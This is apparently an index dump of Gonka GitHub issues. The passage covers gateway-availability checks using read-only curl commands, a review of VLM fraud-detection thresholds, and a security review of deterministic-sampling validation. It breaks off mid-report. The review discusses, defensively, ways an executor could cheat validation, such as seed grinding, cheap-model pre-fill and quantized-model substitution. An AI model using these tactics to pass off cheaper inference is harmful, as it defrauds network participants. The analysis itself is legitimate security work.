"}, {"location": "community/issues/01178-no-available-public-kimi-k26-inference-gateways/#reproduction-commands", "title": "Reproduction commands", "text": "curl -sS https://gonka.pw/providers \\\n | jq -r '\"monitored_providers=\\(length)\", \"kimi_monitored=\\(map(select((.id|test(\"kimi|k26\")) or ((.modelIds // []) | tostring | test(\"Kimi|k2.6|k26\"))))|length)\", \"kimi_up=\\(map(select(((.id|test(\"kimi|k26\")) or ((.modelIds // []) | tostring | test(\"Kimi|k2.6|k26\"))) and .status == \"up\"))|length)\"'\n\ncurl -sS https://gonka.pw/incidents \\\n | jq -r '.[] | select(.endedAt == null) | [.providerId, .status, .startedAt, .reason] | @tsv'\n\ncurl -sS http://node2.gonka.ai:8000/v1/epochs/current/participants \\\n | jq -r '.active_participants.participants | map(.models[]?) | group_by(.) | map({model: .[0], hosts: length})'\nThis looks related to public Kimi gateway availability rather than total network size: the chain reports active Kimi hosts, but public Kimi gateways are currently unavailable according to monitoring.
"}, {"location": "community/issues/01178-no-available-public-kimi-k26-inference-gateways/#comments-1", "title": "💬 Comments (1)", "text": "@sspotanin commented 2026-05-18 10:50 UTCworks fine today
🔄 Auto-synced from Issue #1178 every hour.
"}, {"location": "community/issues/01198-re-validate-vlm-inference-and-validation-results-from-1026/", "title": "#1198 — Re-validate VLM inference and validation results from #1026", "text": "Re-validate VLM inference and validation results from #1026 #1198 Open @tcharchian opened 2026-05-19 23:03 UTC 7 comments Updated 2026-06-11 09:07 UTC up-for-grabsIndependent re-check of the VLM inference and validation results reported in #1026 before they are used for protocol, model onboarding, or host-facing decisions.
The goal is not to redo the full research from scratch, but to verify that the reported methodology, scripts, artifacts, thresholds, and conclusions are reproducible and technically sound.
"}, {"location": "community/issues/01198-re-validate-vlm-inference-and-validation-results-from-1026/#context", "title": "Context", "text": "Issue https://github.com/gonka-ai/gonka/issues/1026 proposes adding VLM serving and validation support to Gonka. Current reported results, related PRs, Notebooks, raw validation data, and scripts are in the parent issue.
"}, {"location": "community/issues/01198-re-validate-vlm-inference-and-validation-results-from-1026/#task", "title": "Task", "text": "Independently verify the results reported in https://github.com/gonka-ai/gonka/issues/1026 Please check: 1. Reproducibility * Can the provided notebooks and scripts be run from a clean environment? * Are all dependencies, model versions, dataset preparation steps, and runtime assumptions documented clearly enough? * Are there any hidden assumptions that are not captured in the issue, notebook, README, or scripts? 2. Dataset and artifacts * Confirm that the Flickr8K test split preparation is correct. * Confirm that the same images are used consistently between inference and validation. * Check that generated inference artifacts have the expected format and contain all fields required for validation. * Check whether artifact paths, image IDs, prompts, and outputs are aligned correctly. 3. Threshold calculation * Re-run or inspect the threshold calibration procedure. * Confirm that the reported thresholds 0.0214 / 0.0224 are produced by the documented method. * Verify that thresholds were not overfit to the specific fraud scenario or test split. * Check whether the threshold choice is robust enough for protocol use, or only suitable for the specific experiment. 4. Fraud / honest scenario design * Review how “honest” and “fraud” scenarios are constructed. * Confirm that the fraud scenario is realistic enough for Gonka validation assumptions. * Check whether the tested fraud case covers only one type of model mismatch, or whether more scenarios are needed. * In particular, verify the comparison between: * Qwen/Qwen3-VL-235B-A22B-Instruct-FP8 * Qwen3-VL-235B-A22B-Instruct-AWQ 5. Metrics * Recompute the reported fraud detection accuracy / F1-score. * Confirm the reported approximately 99% accuracy for the large model. * Check false positives and false negatives separately. * Identify whether any failures are systematic, for example tied to image type, prompt type, output length, or model behavior. 6. Operational assumptions * Check whether the suggested deployment parameters are sufficient:
additional_args=[ '--max-model-len', '128000', '--gpu-memory-utilization', '0.95' ]
Note any risks around model loading, image preprocessing, context length, memory pressure, latency, batching, or logprobs support.
Integration readiness
Please provide a short report in this issue with:
qwen2-2B-VL_thresholds.ipynbWhat I was able to confirmMinor / housekeeping notesSuggested items before protocol-level acceptance", "text": "@Ryanchen911 commented 2026-05-22 08:30 UTC hi Tania ,i plan to take this one
@Ryanchen911 commented 2026-05-25 09:34 UTCcc @fedor-konovalenko @tcharchian
Independent Re-Check of VLM Inference/Validation Results (#1026, PR #1150)Reviewer: @Ryanchen911 Scope: Static methodology review of PR #1150 and the Qwen3-VL-235B-FP8 threshold calibration in qwen3-VL-235B_thresholds-new.ipynb, plus the companion qwen2-2B-VL_thresholds.ipynb. I did not re-run inference/validation on GPUs (no access to 4×A100/H100), and the raw validation_results.jsonl files live in GDrive rather than in the PR, so the numerical results themselves were not independently regenerated. Findings below come from reading the scripts, notebooks, committed configs, and comparing against the existing text-validation flow.
First — thank you @fedor-konovalenko for the substantial amount of work in this PR. The artifact format, config probing, and end-to-end inference/validation pipeline are all carefully designed and well-organized. The points below are suggestions and questions raised in the spirit of getting the model ready for protocol-level acceptance, not criticisms of the engineering effort.
Proceed after addressing a few clarifications. The methodology is sound in shape and the headline numbers are internally consistent (I confirmed Best F1-Score: 0.9935 and Share of fraud found = 0.987 from the committed notebook outputs). There are a few areas where I'd suggest tightening before the threshold is used to gate host onboarding — listed below in rough order of how much they could affect the final number.
Looking at the committed configs, both mlnode/packages/benchmarks/data/235b-inference_results-new/inference/fp8-free_h100/inference_config.json and .../validation/fp8-enf_h100-h100/validation_config.json record url = http://localhost:8801/. The only visible difference is the model load path (/home/ubuntu/Qwen3-VL-... vs /dev/shm/Qwen3-VL-...).
If both endpoints were on the same physical machine for the calibration data, that's worth noting because production validators will run on hosts the executor doesn't control, and the cross-host setup could introduce additional distance drift from:
Could you confirm whether the two endpoints were on different physical hosts? If they were on the same host, it might be worth running one more honest h100→h100 pair across two separate machines and checking whether the distance distribution sits visibly higher — that would tell us whether 0.0214 needs to be widened for the production scenario.
Q2. F1 = 0.9935 — is the calibration set the same as the evaluation set?Reading find_optimal_bounds_parallel in validation/analysis.py, the search range and the F1 computation both use the same distances_val / distances_quant arrays. The constraint np.any(distances_val > lower) → reject effectively pins lower ≈ max(honest_distances), so the threshold is shaped by the 1–2 most extreme honest samples in the calibration set.
The number itself is correct as a description of the calibration data, but it would be very helpful to also have a held-out estimate (e.g. fit on 80% of the calibration set, evaluate on the remaining 20%, repeat a few times and report mean ± std). That way the protocol decision can be based on an out-of-sample number, which is what production-time fraud rate will actually look like.
Q3. Coverage of fraud strategiesThe fraud set in qwen3-VL-235B_thresholds-new.ipynb is int4-enf_h100-h100 (INT4 AWQ as the dishonest executor, FP8 as the validator) — a single configuration. It might be worth adding one or two more plausible adversary patterns before the threshold is treated as a production safeguard, e.g.:
This isn't about chasing every possible attack, but covering more than one fraud configuration would make the 99% number much more meaningful for the \"Gonka network will be safe from fraud\" conclusion.
Q4. Theupper bound — is it intended to be active? In evaluate_bound():
labels_pred = np.where(all_distances < lower, 0, 1)\nlabels_pred[(all_distances >= lower) & (all_distances <= upper)] = 1\nThe second assignment doesn't change any label, because np.where has already set all positions where d >= lower to 1. So upper doesn't affect F1, and classify_data() also only reads lower. Per cell 11 the printed \"thresholds 0.0214 / 0.0224\" come out of this loop, but only the first one is actually doing work.
Two possible directions: - If the intent is a single-threshold gate, the upper could be dropped from the API and from the README so it's clear there's one threshold. - If a two-stage gate was intended (e.g. < lower → accept, lower–upper → flag-for-review, > upper → reject), the optimizer could be reworked to fit upper against a metric that depends on it (e.g. minimize the review queue while keeping recall above target).
Either way, just wanted to flag that the README and the code currently don't agree on this.
O1. Notebook narrative is a bit out of sync with the actual outputsIn qwen3-VL-235B_thresholds-new.ipynb, the markdown above the fraud classification plot (cell 14) says \"with 54% of fraud samples falling in the 'fraud' classification zone.\" The actual code output two cells later (cell 17) says Share of fraud found = 0.987. Looks like the 54 % text is left over from an earlier configuration. Worth a quick edit so the narrative matches the numerical result.
_compare_configs includes the URL, which always trips on the cross-host case When inference and validation are intentionally on different hosts, the URLs differ and the comparison reports a warning. That makes it harder to spot a real config drift (e.g. mismatched request_params) buried in the same warning. One small improvement would be comparing just model name and request_params, and reporting URL difference at info level only.
If the validation backend doesn't honor enforced_tokens (e.g. an older vLLM build without the patch), every row would mismatch on text, the validation script keeps the row with a warning, and process_data later drops it via distance == -1. In the worst case the user could end up with an empty distance set and no clear signal of why. A \"first row mismatched — fail fast\" check at the top of validation would catch this category much earlier.
The PR adds substantial new code (514 LOC for vlm_inference.py, 416 LOC for vlm_validation.py, plus changes in analysis.py / utils.py) without accompanying tests. Even a small fixture-based test of distance2() would help guard against silent regressions, and a CI check that the notebook's Share of fraud found cell output matches a value declared in the README would catch O1-type drift automatically going forward.
distance2() divides by max(100, len(results)) * top_k. For Flickr8K image captions (mostly short responses), all rows hit the 100-token denominator. That implies the calibrated threshold is specifically for short-caption-style outputs. If the same model is later used for longer-form VLM tasks (multi-paragraph descriptions, document OCR), the threshold may need to be recalibrated. Worth mentioning in the deployment notes.
Comparing the old proposal README (top-k = 20: threshold 0.0169, top-k = 5: threshold 0.0323) with the new one (top-k = 5: threshold 0.0214), the threshold is clearly sensitive to top_logprobs. If hosts deploy with a different value, the calibrated threshold no longer applies. Recommend documenting top_logprobs = 5 as a hard deployment constraint, or recalibrating per supported value.
validation_config.json shows 0.8.2.dev8106+g9a6d76e05, which is the custom build supporting enforced_tokens. The proposal README says \"MLNode v0.1.0\" — pinning the exact gonka-vllm commit alongside it would make the result independently reproducible.
utils.py:_prepare_messages adds \"You are a helpful assistant…\" for the text path; the VLM path sends [{\"role\": \"user\", \"content\": [text + image_url]}] with no system prompt. Production traffic will likely include user-supplied system prompts, which the calibration doesn't cover. A small honest-set re-run with a representative system prompt would let us confirm the threshold doesn't drift much.
The 2B notebook shares the same template as the 235B-new one, so Q1–Q4 apply analogously (one honest + one fraud config, same threshold methodology, same upper no-op). Two stale-text observations specific to it:
Share of fraud found = 1.0. The gap is larger than in the 235B notebook.Both seem to be artifacts of template duplication. Since the proposal currently targets the 235B model rather than the 2B, this isn't on the critical path — but if future model proposals reuse this notebook template, it'd be helpful to fix the source so the boilerplate doesn't propagate.
Issue's review point Status Notes Notebooks reproducible from clean env Partialgonka_path is hard-coded; raw data on GDrive; vLLM build not pinned. Working through the pipeline from scratch would take some setup work. Same Flickr8K test split between inference and validation Mostly yes Inference writes metadata.image_paths; validation reuses them. Falls back to sorted-dir alignment in the absence of metadata, which could misalign across hosts — worth adding a hash check (see L below). Threshold calibration produces 0.0214 / 0.0224 Yes Confirmed via committed notebook outputs. Threshold not overfit Open question See Q2 — no holdout reported. Fraud scenario realistic Could be broader See Q3 — single fraud config. ~99 % accuracy reproducible Numerically yes Cell outputs match the README's 0.9935 F1 / 98.7 % recall. Caveats from Q1–Q4 apply. Operational params (320 GB VRAM, max-model-len 128000, gpu-mem-util 0.95) Plausible The 0.95 utilization is on the aggressive side and could OOM under input-length spikes; recommend documenting 0.85–0.90 as a safer baseline that operators can raise. Integration readiness Needs a few items Tests, vLLM commit pin, narrative cleanup, ideally cross-host validation. download_test_set.py: line 39 has a Russian docstring; the script downloads all three Flickr8K splits (~8000 images) when only 1000 are used; lines 58–60 execute at module-import time. Wrapping the download in if __name__ == \"__main__\": and filtering to the test split would make this safer to import as a library.gonka_path = '/home/konovalenko_f/projects/gonka' is hard-coded — easy to miss for someone reproducing the analysis. A os.environ.get(\"GONKA_PATH\", ...) would help.metadata.image_paths stores absolute paths only. A SHA-256 of each image alongside the path would catch silent file-content drift between inference and validation hosts.tg/benchamrk_scripts_update, not main. Worth making the merge order explicit for anyone reviewing the chain.In rough priority order:
upper from the reported thresholds, or implement a real two-stage gate.enforced_tokens in the README.distance2(), plus a CI check that the notebook's printed fraud share matches a value declared in the README.Once Q1–Q4 are addressed, an updated headline number from a held-out evaluation would be the right basis for the onboarding decision. Happy to help review any follow-up changes.
@fedor-konovalenko commented 2026-06-06 22:43 UTCFirst of all, thank you very much for such detailed, valuable, and helpful comments and feedback. I will do my best to take them into account.
Q1. Were inference and validation actually run on different hosts? Answer 1: Yes, inference and validation were performed on physically different hosts.
Q2. F1 = 0.9935 — is the calibration set the same as the evaluation set? Answer 2: I add scripts and results for several validation runs experiments. New notebook is here mlnode/packages/benchmarks/notebooks/qwen3-VL-235B_thresholds-new-holdout.ipynb
Q3. Coverage of fraud strategies Answer 3: A comparison with a small model presented as a large one will be added to the notebook; I'll attach the link below.
Q4. The upper bound — is it intended to be active? Answer 4 Okay, I agree that it is better to drop upper from notebook
O1 - fixed O2 - fixed O3 - Yes, I was aiming for the latest version of the inference engine. The mentioned check can be added later if necessary. O4 - Yes, the comment is certainly fair, the necessary tests will be added at the integration stage, which was discussed with the Gonka team. O5 - fixed O6 - The value 5 was taken as a currently unsupported value (according to the discussions with Gonka team). A note about this has been added to the readme. O7 - fixed O8 - The proposed verification will require additional experiments with larger models. I will discuss its feasibility and priority separately with the Gonka team.
Minor issues
Thanks for the thorough turnaround — this addresses almost everything, and the deferral of O3/O4/O8 to the integration stage is fine by me.
@fedor-konovalenko commented 2026-06-10 13:28 UTCThanks!
And here are results of fraud detection scenario: 7B VLM as 235B VLM. F1 score = 100%
notebook
@Ryanchen911 commented 2026-06-11 08:42 UTCOverall this looks good to me. Thanks for the thorough iterations.
One tiny carryover in qwen3-VL-235B-vs-7B_thresholds.ipynb: the fraud cell still says \"99% of fraud samples\" (output is 1.0) and the honest cell says \"INT8 on both sides\" though the set here is FP8 — leftover template text, same as O1. Easy fix whenever.
@fedor-konovalenko commented 2026-06-11 09:07 UTCSorry, I really used old template :( Fixed
🔄 Auto-synced from Issue #1198 every hour.
"}, {"location": "community/issues/01199-reproducible-sampling-for-inference-validation/", "title": "#1199 — Reproducible sampling for inference validation", "text": "Reproducible sampling for inference validation #1199 Open @tcharchian opened 2026-05-19 23:17 UTC 5 comments Updated 2026-07-15 08:54 UTC up-for-grabsReview the existing reproducible / deterministic sampling work for inference validation and prepare a careful path toward adding it to MLNode versions.
This task is related to the known inference validation vulnerability described in the inference validation proposal. The proposed direction is a two-stage validation system with a cheap sequence check before the existing distribution check.
The goal is to take over the existing experiments and base implementation, review them carefully for vulnerabilities, and define a safe non-enforcing rollout path before any strict validation behavior is enabled.
"}, {"location": "community/issues/01199-reproducible-sampling-for-inference-validation/#context", "title": "Context", "text": "Relevant materials:
Please use these documents as the source of truth for the proposed design, implementation status, artifact format, implementation plan, tests, and known limitations. 
"}, {"location": "community/issues/01199-reproducible-sampling-for-inference-validation/#task", "title": "Task", "text": "Review the existing proposal and deterministic sampling implementation, then prepare a safe path toward gradual MLNode integration.
This task is not primarily about writing new code immediately. The important part is to carefully review the approach, check for vulnerabilities, and define how to introduce it softly into MLNode versions while collecting data and avoiding strict enforcement at first.
"}, {"location": "community/issues/01199-reproducible-sampling-for-inference-validation/#review-scope", "title": "Review scope", "text": "Please review:
Check whether the current implementation matches the two-stage validation direction described in the proposal.
Please focus on whether the implementation correctly supports:
the intended protection against the known validation weakness.
Review seed, RNG, and replay logic
Check whether the seed generation, RNG initialization, and replay logic are implemented consistently with the:
Please verify whether the validator can reliably replay the sampling step from the provided artifact and seed data.
Check whether the artifact contains everything required for replay and validation.
Please compare the artifact requirements in the proposal with the artifact format described in @tamazgadaev’s document.
Using prvided documents above , identify:
whether the existing code is ready to be included in MLNode versions softly.
Review safe MLNode rollout
The intended direction is to start introducing this into MLNode versions gradually and collect data, without turning on strict enforcement immediately.
Please identify:
which parts should wait.
Review vulnerabilities and edge cases
Carefully check the approach for possible vulnerabilities or edge cases before it becomes enforcing validation logic.
Please focus on the actual proposed mechanism and the limitations already documented in the linked materials.
Expected output
Please provide a short report with:
This should be treated as a careful validation / security review task.
The immediate rollout risk is low if the feature is introduced softly and not enforced right away. However, the validation logic itself is security-sensitive, so the implementation should be reviewed with scrupulous care before being incorporated into strict inference validation.
The priority is to take over the existing work, gradually introduce it into MLNode versions, collect data, and avoid hard enforcement until the approach is reviewed and validated.
"}, {"location": "community/issues/01199-reproducible-sampling-for-inference-validation/#comments-5", "title": "💬 Comments (5)Review summary — reproducible sampling for inference validationFollow-up — GPU evidence for the blockers, and the decisions that remain", "text": "@Ryanchen911 commented 2026-06-26 11:33 UTChi @tcharchian , does this issue need help? If yes, maybe we can take this one.
@tcharchian commented 2026-06-30 00:53 UTC@Ryanchen911, yes please!
@Ryanchen911 commented 2026-07-06 01:30 UTC@neuron7xLab thanks for the focused pass and PR — this lands squarely on the highest-priority item in our‘s review. We flagged the same seed-domain issue: the _dump/v011 derivation f\"{user_seed}|{prompt_token_ids}\" is request-controlled on both components, so Stage-1 replay can be ground/detached from the chain inference instance. Binding to inference_id_from_chain per the proposal is exactly right.
@Ryanchen911 commented 2026-07-06 02:53 UTCWe reviewed the two-stage validation design (proposal §\"Proper Fix\") against the actual code on all three vllm branches (_dump, v011, _merged) plus the gonka chain-side validator, with an eye on a safe soft-rollout path.
Final recommendation: needs additional review — not ready for soft MLNode integration yet. The design is sound and matches the two-stage proposal; the implementation is real but split across two branches (each ~half) and not yet end-to-end runnable against real executor artifacts.
Three blockers gate enforcement: - S1 — seed not chain-bound. Both branches seed from f\"{user_seed}|{prompt_token_ids}\" (executor-controllable → grindable + tokenizer-fragile). The proposal requires SHA256(user_seed ‖ inference_id_from_chain). Primitive fix now in flight: gonka-ai/vllm#56 (derive_chain_bound_seed) — should converge with #13 and get wired into a call site. - E1 — executor (GPU float) vs validator (CPU decimal) weights aren't bit-identical. Zero-tolerance replay will false-reject real artifacts until the executor path adopts the decimal pipeline (ADR 0003; needs GPU verification). - S3 — no Python↔Go parity. The chain validator is Go; there is no Go implementation of the decimal pipeline/RNG and cross-language bit-parity has never been tested.
Safe now / non-enforcing: the integer deterministic_utils.py as a torch-free library (after the S2 local-decimal-context fix, ADR 0002); the perplexity quick-fix as telemetry (gonka's get_metric ≈ 1/PPL); everything behind VLLM_DETERMINISTIC_SAMPLING, recording verdicts without slashing while collecting Stage-1 false-positive data (target: zero, by model/quant/hardware).
Full report below (findings S1/E1/S3/A1/A2/S2 + edge cases + rollout data + next steps).
Full review report (click to expand) # Issue #1199 — Reproducible Sampling for Inference Validation: Review Report **Reviewers:** @Ryanchen911, @bonujel · **Date:** 2026-07-03 **Scope:** Security/validation review of the two-stage validation design and the base deterministic-sampling implementation, plus a safe MLNode rollout path. **Sources reviewed** - Proposal: `proposals/inference-validation/inference-validation.md` (§\"Proper Fix: Two-Stage Validation System\") - Design doc: `docs/DETERMINISTIC_SAMPLING_VALIDATION.md` - Actual code across **three** vllm branches (source of truth for status): - `gonka-ai/vllm @ tg/detemrinistic_sampling_dump` — integer (decimal) sampling algorithm, unwired - `gonka-ai/vllm @ tg/deterministic_sampling_v011` — full system skeleton, float sampling - `bonujel/vllm @ tg/deterministic_sampling_merged` — merge of the two + validator replay + ADRs - `gonka-ai/vllm#56` (@neuron7xLab) — chain-bound seed primitive (`derive_chain_bound_seed`) + tests, addresses S1 - Gonka side: `mlnode/packages/benchmarks/src/validation/utils.py`, `decentralized-api/internal/validation/inference_validation.go` --- ## TL;DR / Final recommendation **Needs additional review — not ready for soft MLNode integration yet.** The *design* is sound and substantially aligned with the two-stage proposal. The *implementation is split across two branches, each doing roughly half*: - **`v011`** has the full system skeleton — `VLLM_DETERMINISTIC_SAMPLING` env flag, worker seed wiring (`gpu_model_runner.py`), a `deterministic_sampler.py`, and the validator-side `validation_logic.py` (replay + distance). **But its executor sampling path uses GPU float32**, which drifts across GPUs/drivers and can flip a token when a probability sits on a filter boundary → risk of falsely flagging an honest participant. - **`_dump`** fixes exactly that: an **integer (decimal) weight pipeline** that is bit-stable and won't drift. **But it is only the algorithm — nothing imports it.** The **`_merged`** branch is the right next move: it ports the integer algorithm onto the skeleton, adds a pure-CPU validator replay (`validation_sampling.py`, `verify_sampling_from_logprobs`), pins the float→string form, and records the open blockers as ADRs. It is verified **validator-side only** — the executor still emits float-derived weights, so replay against *real* executor artifacts will still false-reject until the executor path is switched to the decimal pipeline (ADR 0003). The core integer primitive is adoptable as a library today. The executor hot-path change, the seed hardening, and cross-language (Python↔Go) parity must land before this becomes enforcing validation logic. --- ## 1. Does the implementation match the two-stage proposal? **Design: yes, with one naming remap and one mechanism upgrade.** | Proposal | Doc | Match | |---|---|---| | Stage 1 — Sequence Check (cheap, RNG replay) | \"Check 2\" — Sampling Replay | ✅ same purpose | | Stage 2 — Distribution Check (expensive) | \"Check 1\" — Logprob Distance | ✅ same purpose | | Order: cheap check first, reject before expensive | Check 2 runs *before* inference, Check 1 *after* | ✅ consistent (cheap-first) | The confusing part is only naming: the proposal's **Stage 1** is the doc's **Check 2**. Execution order is still correct — the cheap CPU replay gates the expensive GPU inference. **Mechanism upgrade (acceptable, arguably better than the proposal):** - Proposal Stage 1 samples directly over the artifact's top-k list: `verify chosen == top_k[sampled_index]`. - Doc/impl runs the *full* decimal pipeline (temperature → softmax → top_k/top_p/min_p → quantize to int weights) then SHA256 categorical sampling. The doc's version reproduces the real sampling parameters, so it's a stronger binding. Fine — but it is *more* code to get bit-exactly right on both sides, which raises the false-positive risk (see §6). **Does Stage 1 actually close the pre-fill hole?** Yes, in principle. A pre-fill attacker generates the sequence with a cheap model and computes real-model logprobs in a single pass. Stage 1 forces the reported token at each position to equal `deterministic_sample(real_model_logprobs, RNG)`. The cheap model's chosen token generally won't match that, so the artifact is rejected — unless the attacker re-samples each position from the real-model distribution token-by-token, which *is* real sequential generation. That's exactly the cost we want to impose. This holds **only if the RNG stream can't be ground**, which depends on seed binding (see §2, finding S1). --- ## 2. Seed, RNG, and replay logic `Sha256CounterRNG` (`deterministic_utils.py`) is clean and portable: `u64 = SHA256(seed_bytes ‖ counter_be)[:8]`, counter++ per draw, unbiased rejection sampling in `uint64_below`, linear-scan categorical sampler. This is trivially reproducible in Go and Python and is the right primitive. **Finding S1 (design mismatch, security-relevant) — seed derivation diverges from the proposal.** - Proposal: `run_seed = SHA256(user_seed ‖ inference_id_from_chain)` — bound to the chain-issued, unpredictable inference ID. - Doc/impl: `seed_str = f\"{user_seed}|{prompt_token_ids}\"` — bound to user seed + prompt tokens, **not** the chain inference ID. Consequences of the doc's choice: 1. **No binding to chain identity** → the same `(user_seed, prompt)` yields the same RNG stream, enabling precomputation and cross-request artifact replay. The proposal deliberately mixes in `inference_id` to prevent this. 2. **Requires the validator to re-tokenize the prompt identically.** Any tokenizer version/config drift between executor and validator changes `prompt_token_ids` → different seed → guaranteed replay mismatch → **false fraud on an honest inference**. This is a latent false-positive source. This must be reconciled before enforcement. Recommend adopting the proposal's `inference_id`-bound seed (the chain already stores `inference_id`), or at minimum mixing it in. **Status — a focused PR now addresses the primitive.** `gonka-ai/vllm#56` (@neuron7xLab) was opened against `_dump`, adding `derive_chain_bound_seed(user_seed, inference_id_from_chain)` to `deterministic_utils.py` + 10 invariant tests + a golden vector, and correcting the doc's seed derivation everywhere. Reviewed the diff — the design is careful and directly addresses S1: - Uses **byte-length-prefixed, domain-separated SHA256 over UTF-8** (not raw concat), which also removes the concatenation-ambiguity bug in the naive `f\"{seed}{id}\"` form (`(4,\"2x\")` vs `(42,\"x\")`). This is the right framing for Python↔Go parity (S3). - **Fails closed**: rejects missing/empty/non-`str`/non-printable-ASCII/over-length chain id, and non-exact-`int` / out-of-int64-range `user_seed`. The printable-ASCII-only rule is a deliberate, well-reasoned choice to keep the accept/reject boundary language-invariant (a `strip()`/whitespace predicate differs per runtime and would split consensus). - **Scoped honestly**: it lands only the primitive — **no call site constructs the seed yet**. `gpu_model_runner.py` still needs wiring, and MLNode must actually pass the chain `inference_id` into vLLM. So S1 moves from \"unaddressed\" to \"primitive ready, wiring + MLNode plumbing still open.\" CI is fork-gated (not green yet). - Overlaps PR #13 (same idea on `main`, bound to `request_id`); note that vLLM's `request_id` is executor-controllable (`\"chatcmpl-\"+X-Request-Id`/`uuid4()`), so #56's insistence on a *chain*-provided id that fails closed when absent is the safer contract. These should converge into one primitive. **Remaining S1 work:** wire `derive_chain_bound_seed` into the worker, define how MLNode sources and passes `inference_id_from_chain`, and confirm the Go validator uses the identical framing (folds into S3 parity). **Finding S2 — global decimal context mutation.** `deterministic_utils.py` sets `getcontext().prec = 10` / `ROUND_HALF_EVEN` at import time. `getcontext()` is process-global; in the vLLM serving process this silently reconfigures Decimal for every other consumer, and conversely any other module that touches the context breaks reproducibility. Use `decimal.localcontext()` around the pipeline instead of mutating the global context. --- ## 3. Artifact contents The artifact format in the doc (§\"Artifact Format\") contains what replay needs: per-position `token` (sampled ID as string), `logprobs` (post-penalty, token-ID-keyed), and `request_params` including `seed`, `temperature`, `top_p`, `top_logprobs`. This matches the proposal's storage requirements (top-k probs + exact token sequence, already on-chain) plus the added `run_seed`. **Finding A1 (contract mismatch, real divergence risk) — float vs string logprobs.** - Doc reference impl: `logprobs_to_weights(logprobs: dict[str, float])` and converts via `Decimal(repr(f))`. - Actual `deterministic_utils.logprobs_to_weights(logprob_strings: Dict[str, str])` takes **strings already** and does `Decimal(s)` directly — no `repr`. The entire reproducibility guarantee rests on both sides producing the *identical* decimal string from the same float64. The doc says that canonical form is `repr(float)`; the `_dump` primitive pushes that responsibility to the caller and never pins it. If executor and validator stringify the float differently (`repr` vs `json.dumps` vs `%.17g`), weights diverge and an honest inference is flagged as fraud. **There must be exactly one shared function that owns float→string, used by both sides, with the canonical form pinned in the spec.** **Status (`_merged`):** partially addressed. On `_merged`, `validation_sampling.verify_sampling_from_logprobs` pins the conversion to `repr(f)` at a single point and records it in ADR 0001. Two gaps remain: (a) this pins it only on the *validator* side — the executor path must use the identical function (tied to ADR 0003), and (b) the Go chain-side validator must reproduce the same canonical string, which is untested (see S3 below). **Finding A2 — resolved vs user-specified params.** The doc correctly notes (Tricky Moments §2) the artifact must record *resolved* sampling params (after model defaults), not user-specified. The gonka `RequestParams`/`inference()` path currently forwards only user-set extras; this needs verification once wiring exists. --- ## 4. Implementation status (code is the source of truth) **The work is split across two gonka-ai branches, each implementing a different half of the same feature.** Neither is end-to-end runnable on its own; the `_merged` branch is the first that runs validator-side. | Item (doc Steps) | `_dump` (integer algo) | `v011` (skeleton) | `_merged` (consolidated) | |---|---|---|---| | `deterministic_utils.py` — integer/decimal weight pipeline | ✅ present, **unwired** | ✅ present (float variant used by sampler) | ✅ ported onto skeleton | | `VLLM_DETERMINISTIC_SAMPLING` env flag (Step 2) | ❌ | ✅ | ✅ | | `deterministic_sampler.py` / sampler branch (Step 3) | ❌ | ✅ **but GPU float32** | ✅ (executor still float — ADR 0003) | | `gpu_model_runner.py` seed derivation (Step 4) | ❌ | ✅ `f\"{seed}\\|{prompt_repr}\"` (no `inference_id`) | ✅ (same, seed not yet hardened) | | `EnforcedToken.logprobs` / data model (Step 6) | ❌ (`token`/`top_tokens` only) | ⚠️ partial in `validation.py` | ⚠️ partial | | Validator replay — Check 2 (Step 7) | ❌ | ✅ `validation_logic.verify_sampling_sequence` | ✅ `validation_sampling.verify_sampling_from_logprobs` (pure CPU) | | Validator distance — Check 1 (Step 7) | ❌ | ✅ `validation_logic.position_distance/compute_distance` | ✅ | | `serving_chat.py` orchestration + response fields (Step 5) | ❌ | ⚠️ partial | ⚠️ partial | | Tests (Step 9) | ⚠️ `test_sampler_interface.py` stale/broken | some | ✅ `test_replay_smoke.py` (self-consistent artifacts only) | Across both branches the validator replay + distance logic **does exist** (on `v011`, `validation_logic.py`), and the `_merged` branch adds a clean pure-CPU replay module with a passing smoke test. The stale/broken `test_sampler_interface.py` (imports `sampling_weights`, `deterministic_rngs`, etc. — the superseded weight-reporting design) is a `_dump`-branch artifact, superseded by the merge. **The real completeness gap is not \"missing files\" — it's two incompatible weight paths (ADR 0003).** The executor produces weights on GPU as `(probs * 2^16).round()` from float32 softmax; the validator derives weights from logprob *strings* via the pure-decimal pipeline. These are **not bit-identical** (GPU float drift; `.round()` is not decimal HALF_EVEN). So the zero-tolerance replay (Check 2) will **false-reject real executor artifacts** until the executor hot path is switched to the decimal pipeline. This is correctly scoped out of the merge (needs GPU + production hot-path change) and documented as a blocker, not an optional optimization — which is the right call. **Net:** substantially more exists than \"one primitive module.\" What's missing for enforcement is: (1) executor path → decimal weights (ADR 0003), (2) seed hardening (S1), (3) Python↔Go parity. All three touch the model hot path or the protocol and require GPU to verify. --- ## 5. Safe MLNode rollout **Safe to adopt now** - The `_dump`/`_merged` integer `deterministic_utils.py` as a standalone, torch-free library, *after* fixing S2 (local decimal context — ADR 0002 already proposes this). Add its unit tests (RNG reproducibility, pipeline determinism, categorical sampling) — and, importantly, a **Python↔Go parity test** since the chain side is Go. - The `_merged` validator-side replay (`validation_sampling.py`) as the reference Check-2 implementation, with the explicit understanding (ADR 0003) that it only matches *self-consistent* artifacts until the executor path is converted. - The interim **perplexity quick-fix** is a lower-risk parallel track: gonka's `get_metric` in `validation/utils.py` already computes the geometric mean of per-token probs (≈ 1/PPL). It can ship as non-enforcing telemetry well before the full two-stage system. **Behind a flag / non-enforcing first** - Everything else goes behind `VLLM_DETERMINISTIC_SAMPLING` (default off). - Executor emits `deterministic_sampling_valid` + `distances`; the chain **records but does not slash** on Stage-1 (replay) failures during the data-collection phase. - The executor-path decimal conversion (ADR 0003) can land behind the same flag and run in shadow (compute decimal weights alongside the float path, log divergences) before it drives anything. **Data to collect before enabling strict enforcement** - Stage-1 **false-positive rate**: honest inferences that fail replay, broken down by model, quantization, and hardware/arch. Target: **zero** false positives (a slashing system's cost of wrongly flagging an honest participant is far higher than a missed fraud). - Distance distributions with vs without deterministic mode (does the reordered penalty pipeline shift Check-1 thresholds?). - Tokenizer determinism across MLNode versions (directly tied to finding S1). - **Realistic performance:** the doc's ~18µs/position is a single-position microbenchmark. Measure at production batch sizes with top-K CPU transfer and the reordered penalty path in the hot loop. - Python↔Go bit-parity on shared test vectors. **What should block strict enforcement** - **E1 — executor path emits decimal-derived weights** (ADR 0003). Until this lands, real artifacts false-reject; this is the single biggest blocker. - **S1 — seed derivation** reconciled and bound to `inference_id`. - **A1/S3 — canonical float string** pinned and shared by *one* function across executor, Python validator, and the Go chain path; proven by parity 